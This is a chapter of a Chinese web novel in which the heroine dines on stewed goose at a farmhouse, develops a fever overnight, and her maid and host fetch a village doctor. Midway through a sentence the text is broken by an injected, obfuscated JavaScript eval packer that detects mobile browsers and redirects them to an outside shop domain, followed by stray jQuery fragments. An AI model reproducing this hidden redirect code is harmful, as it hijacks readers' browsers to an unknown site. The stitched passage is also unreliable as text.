59. 一病不起
    踩上马车前小脚凳,朱槿荣和善怜儿上了马车,而朴大舅负责驱车前进,一路上虽有风雪,但马车里还算温暖。

    朱槿荣靠着善怜儿昏昏欲睡,却又被善怜儿摇醒了,“大姐儿,外头到底冷,睡着了八成要着凉。”

    “那就不睡了,你我聊会儿天,打恼了这瞌睡。”朱槿荣打了个哈欠,说道。

    善怜儿忍俊不禁,“感情好了,我十分同意。”

    “你猜我现在在想什么?”朱槿荣拉着善怜儿的手,与她说话。

    “我想大姐儿一定在想那倒霉的曲靖,他掉进了旱厕,现在他是不是害了风寒,最好他害了风寒,自此一病不起才是好事情。”善怜儿揣摩朱槿荣的心思,大胆说出自己的设想。

    “你这促狭鬼!其实我是在想上次吃的那炖鹅,看朴大舅送了青鸾几只鹅,我又馋了。”

    朱槿荣如实说,善怜儿听了也笑了,“炖鹅大姐儿还要等一等,这现杀的味道应该更好。”

    虽说是家庭饲养的鹅,其实除了冬季吃的是麦麸子,其他时间都是在山上散养的,与走地鹅无二样。

    看着朴大舅熟练的杀鹅放血,朱槿荣也不觉得害怕,反而兴致勃勃的夸赞朴大舅做活麻利。

    这又是和刚来的那次炖鹅完全不同的做法。

    杀好的鹅足有三斤重,肉质肉眼可见的紧实,朴大舅将其放在清水中拔去血水,再捞出,又用香辛料煸炒过,炒成微微发褐时,加入酒和水,等锅开后撇去浮沫,又放入年前晒好的放入豆角干和萝卜干,又炖成了一锅。

    “我在城里,从来没有吃过这现杀现煮的,这一次也算涨了见识,满足了口腹之欲。”朱槿荣说道。

    一人一小桌,那炖鹅被分给四人,一人面前放了一盘。

    “朱小姐喜欢就成了,我还在忧愁拿什么招待你,没想到你好这一口儿,那我也就放心了。”朴大舅语带羞涩,他一直做农活,有着庄稼人的淳朴,和众人打交道也不多。

    “借此酒一杯,敬朴大舅,感谢你的炖鹅!”朱槿荣吃得满面红光,举杯敬那朴大舅。

    那朴大舅连忙举杯,闹了一个面红耳赤,“客气了,客气了,你来了我家,就是贵客,理应好好招待!”

    “你们快别喝酒了,再喝酒炖鹅都要凉了,快点动筷吧。”善怜儿的奶奶笑着说道。

    这一顿饭,就是宾主尽欢,朱槿荣吃得开怀,主人家看她如此开怀,也心里得了舒坦。

    原本是打算让朱槿荣一人住一间房的,但又唯恐朱槿荣夜半叫人服侍,善怜儿也放心不下,遂和朱槿荣住了一间屋子。

    在农家也没有什么忌讳,朱槿荣也不是自持身份就轻看别人的人,故而和善怜儿睡在了一张火炕上。

    善怜儿熟稔的铺着被子,被子也是新被子,朴奶奶早早放在太阳下晒过,不是一般的暖和。

    “我都不想回去了,早知道乡下生活如此富足舒坦,我更应该早早来你家住上几天。”朱槿荣笑着说,她正在铜盆之中洗着脚。

    “那是应该!”善怜儿也回以笑脸,她铺好了被子,说,“就是不该喝那么多的酒,农家的高粱烧,可不是一般的浓烈!”

    “天冷了,喝盏酒暖暖身子也是应该,就是不该贪杯,我现在试着,头就像戴了紧箍咒一样的疼。”

    朱槿荣说着,自己拿擦脚布擦干净了脚,又穿着拖鞋到了床铺上。

    朱槿荣拉过被子躺下,到底还在牵挂去了边疆从军的楚放臣。

    朱槿荣偶尔还是要想一想他,她呆呆的说,“看到鹅,我就不免想起放臣,他小时候调皮,去捉弄厨房买的大鹅,被鹅追着啄了脸面,现在眼角还留着一道明显的伤疤……也不知道他在边疆有没有炖鹅吃。”

    “那是年少无知做的蠢事,谁小时候还没有犯过傻?”善怜儿笑着说。

    “当兵从军岂是容易的?他去效死报国,也不会在乎能不能吃到鹅,大姐儿就放宽心吧,楚公子武功又好,性格坚毅,人又吃得苦。说不得几年后就像将军一样,哪一天跨着高头大马,回京城了。”

    善怜儿这些话极大的安慰了朱槿荣,但她看着灯影恍惚,又说,“我其实想跟他一起去的,那天……我就是这么想的,但我又怕母亲担心,父亲不允,也可能是自己胆小,故而退却了。”

    善怜儿叹息一声,到底还是因为朱槿荣的想法而觉得意外,“人和人不一样,女儿家始终比不得男子,从军报国那是男儿家的事情,大姐儿莫要因此困顿,上天一切都是有安排的。”

    听了这自我贬低的话,朱槿荣自然是不能听之任之的,这和她接受的思想完全不同,“上天安排不了每一个人,命运不过是失败者的推托之词,我始终相信女儿家不比男人差……”

    说着,在温暖的灯光里,朱槿荣浑浑噩噩的盖被睡去。

    在她梦里似乎有金戈铁马,还有楚放臣那张不羁的面孔,或者还有那远嫁猃狁的楚色赋,那一袭红衣惊艳了她的眼,灼伤了她的心……

    善怜儿叹息一声,为她捻好了被角,也去化妆镜前卸了钗环,收拾好了自己,洗完脚便打算入睡了。

    一灯如豆,被善怜儿吹灭。

    善怜儿惯来服侍朱槿荣,夜里有点响动就会醒。

    夜半那窸窸窣窣的梦话更像是呻吟,伴随着主人家时不时的翻身声响,唤醒了睡眠中的善怜儿。

    人在入睡前还好好的,见朱槿荣脸红,善怜儿还以为她是喝了酒的缘故。

    善怜儿点起油灯,持灯去看朱槿荣。

    那被子蒙到下巴之下的人尚在沉睡之中,此刻面色泛着不正常的红,犹如红妆,她额头上似有薄汗冒出,善怜儿一摸那额头,果不其然是灼手的温度。

    怕什么就来什么,掉入酸菜缸的朱槿荣到底是害了风寒发烧了。

    “大姐儿!大姐儿!你醒醒……”善怜儿推了推朱槿荣,见她仍旧沉湎在梦魇之中毫无反应,也着了急。

    善怜儿利落的穿好衣服,赤着脚穿着拖鞋,披着外衣朝外面走去,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354372|140658||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去敲朴大舅的门。

    “舅舅!舅舅!你醒一醒,大姐儿发烧了!”善怜儿急切的呼唤道,听到敲门的响声,朴大舅也起了床。

    “来了!来了!”

    他匆匆披了外袍,回应善怜儿的呼唤,“睡前还好好的,怎么就害了风寒,发烧了呢?”

    “可能是孩子身子弱,这隆冬腊月的,掉进冷水里,可不是要害病。”这响声也惊动了朴奶奶,她拄着拐杖出来探看。

    “奶奶,你就别出来了,赶紧去休息吧,这里有我和舅舅照看。”善怜儿对奶奶说。

    一起被惊动的,还有朴家买来的下人小鸣,他顶着乱糟糟的头发,打着哈欠起了床,与几人聚到了一起。

    “先别管别的了,你们去柳大夫家无论如何都要请他过来,给朱大小姐瞧病,这病耽误不得。小鸣,你也和她大舅一起去吧。”朴奶奶吩咐道,她面色焦急。

    “知道了,奶奶。”那小鸣满口答应着,虽然面子上不悦,还是接受了这一切。

    善怜儿叫了朱槿荣几次,朱槿荣还是没有转醒,善怜儿也无奈,她没有别的法子,只得去冷水里漂洗了手帕,叠成一沓放在朱槿荣的额头上,借此给她降温,期盼她身体素质好,能自己扛过来。

    黑夜中的白雪似乎能照亮一片路途,于是也不需要挑灯前行,朴大舅前面走着,小鸣后面跟着,两个人去了一个那个柳姓赤脚大夫的家。

    深夜的敲门声打扰了主人家的睡眠,可在大夫的生活里,这些事情似乎又变得正常了。

    “大半夜干什么?!”

    朴大舅满脸堆笑,手里作揖,“大半夜打扰了,实在是我家侄女生了病,现在高烧不退,没有办法,还请柳大夫和我走一趟,好好给她医治,钱不是问题。”

    “等着,我去拿药箱!”柳大夫一脸被打扰睡眠的不满,但还是不忍心拒绝,毕竟这十里八荒,就他一个赤脚大夫,头疼脑热都要找他。

    “这是什么病情,你与我说说?”柳大夫一边收拾药箱,一边询问病情。

    “就是孩子掉到了水里,喝了些酒,吃了些炖鹅,明明白天还好好的,怎么晚上就发了高烧?”朴大舅说道。

    那柳大夫也带上了些头疼脑热的常备药,还有自己的针灸包。

    三人一路行进,有着寒风的呼啸,朴大舅在前面引路,柳大夫跟在后面,朴大舅要帮忙背药箱,柳大夫给否了。

    “别管这些小节了,赶紧带我去看患者,发烧可不是小事。”柳大夫道。

    “自然,自然,柳大夫跟我来,这大半夜的,还是你宅心仁厚,救人救急。”朴大舅奉承道,那柳大夫安然受之。

    一行人终于到了朴宅,善怜儿连忙来迎接,朝着柳大夫福了福身子,“夜半叨扰了,这就是病人,今天落了水,喝了点酒暖了身子,白天看精神头儿还好,没想到夜半就发高烧了。”

    躺在朱槿荣的呻吟声依旧偶尔有之,仿佛怕冷似的无意识的把被子裹紧在了身上,瑟缩成了一个团。